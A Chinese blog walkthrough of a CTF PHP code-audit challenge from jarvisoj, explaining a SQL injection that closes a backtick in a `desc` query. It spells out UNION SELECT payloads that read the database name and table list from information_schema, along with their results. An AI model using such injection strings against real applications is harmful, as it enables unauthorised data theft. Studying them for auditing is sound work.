代码审计分段讲解之29题,代码如下:

<?php

require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0]; ?>

题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/

我们直接开始进行代码审计

包含config.php文件

require("config.php");

使用GET方式传入table,赋值给table,默认为test

接着对table进行过滤

$table = Filter($table);

这里的Filter函数是我们不知道的,不过不影响代码审计

接着是

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

该行代码的意思为:

当mysqli_query()函数执行成功,则不调用Hacker()函数

当mysqli_query()函数执行失败,则调用Hacker()函数

对于mysqli_query函数的解释:

mysqli_query() 函数执行某个针对数据库的查询。//定义
mysqli_query(connection,query,resultmode);//语法

也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:

又有:

从上图中可以看出来有:

desc xxx xxx;

desc `xxx` `xxx`

desc 'xxx' 'xxx'

desc "xxx" "xxx"

语句一和语句二是同样的效果,能够正常执行

语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。

关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849

反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

select `from` from test

接下来的代码是一段SQL语句查询,并且输出第一个结果:

$ret = sql_query($sql);
echo $ret[0];

我们闭合反引号进行注入:

默认为:

desc `secret_test`
select 'flag{xxx}' from secret_test

查询数据库为:

desc `secret_test` `union select database() limit 1,1
select 'flag{xxx}' from secret_test` `union select database() limit 1,1

得知数据库为:

61d300

获取表

desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

得知表为

secret_flag,secret_test

后面的注入不再赘述。

提一下这个部分:

select 'flag{xxx}' from secret_test` `union select database() limit 1,1

这里的

secret_test` `union

关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。

再提一下这个部分:

limit 1,1

因为可以看到代码最后是:

echo $ret[0];

因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。

参考链接:

PHP代码审计分段讲解(13)的更多相关文章

  1. PHP代码审计分段讲解(14)

    30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...

  2. PHP代码审计分段讲解(11)

    后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...

  3. PHP代码审计分段讲解(5)

    11 sql闭合绕过 源代码为 <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("**** ...

  4. PHP代码审计分段讲解(1)

    PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...

  5. PHP代码审计分段讲解(12)

    28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...

  6. PHP代码审计分段讲解(10)

    26 unserialize()序列化 <!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?ph ...

  7. PHP代码审计分段讲解(9)

    22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...

  8. PHP代码审计分段讲解(8)

    20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...

  9. PHP代码审计分段讲解(7)

    17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...

随机推荐

  1. 【QT】 Qt多线程的“那些事”

    目录 一.前言 二.QThread源码浅析 2.1 QThread类的定义源码 2.2 QThread::start()源码 2.3 QThreadPrivate::start()源码 2.4 QTh ...

  2. 将CSV的数据发送到kafka(java版)

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  3. binary hacks读数笔记(共享库)

    共享库从文件结构上来讲,与共享对象没什么区别.Linux下,共享库就是普通的ELF共享对象. 1.共享库命名: libname.so.x.y.z :其中最前面使用前缀lib,中间是库的名字和后缀&qu ...

  4. spring的原理

    一.pring的原理 1.1 IOC控制反转 ==> 扫描机制通过代理方式动态创建对象 扫描注解,通过反射获取类路径,动态创建对应类的对象,放置在对象池中(多线程做法,防止短时间内创建对象过多, ...

  5. iscsi客户端常用操作

    说明 本篇主要记录iscsi的客户端的一些常用的一些操作 iscsi服务端常用操作 删除一个lun tgtadm --lld iscsi --mode logicalunit --op delete ...

  6. 查询OSD运行在哪些cpu上

    前言 在看CPU相关的文章的时候,想起来之前有文章讨论是否要做CPU绑定,这个有说绑定的也有说不绑定的,然后就想到一个问题,有去观测这些OSD到底运行在哪些CPU上面么,有问题就好解决了,现在就是要查 ...

  7. Python_PyQt5_eric6 做省市县筛选框

    eric是PyQt5的图形化编辑工具,界面如下(另存为-桌面  查看大图) 下面是用eric6制作的 省市县 三级联动筛选框 (效果图+源码) 1 # -*- coding: utf-8 -*- 2 ...

  8. C++中STL的sort函数

    简单介绍C++ sort函数 这个函数需要STL算法头文件 #include <algorithm> using namespace std; 这个sort( , , )可以带两个参数也可 ...

  9. kali 系列学习01 - 安装、vmtools、ssh服务和共享文件夹

    Kali介绍Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.面向专业的渗透测试和安全审计,超过300个渗透测试工具一.安装 1.在虚拟机中安装,详见 https: ...

  10. 死磕以太坊源码分析之p2p节点发现

    死磕以太坊源码分析之p2p节点发现 在阅读节点发现源码之前必须要理解kadmilia算法,可以参考:KAD算法详解. 节点发现概述 节点发现,使本地节点得知其他节点的信息,进而加入到p2p网络中. 以 ...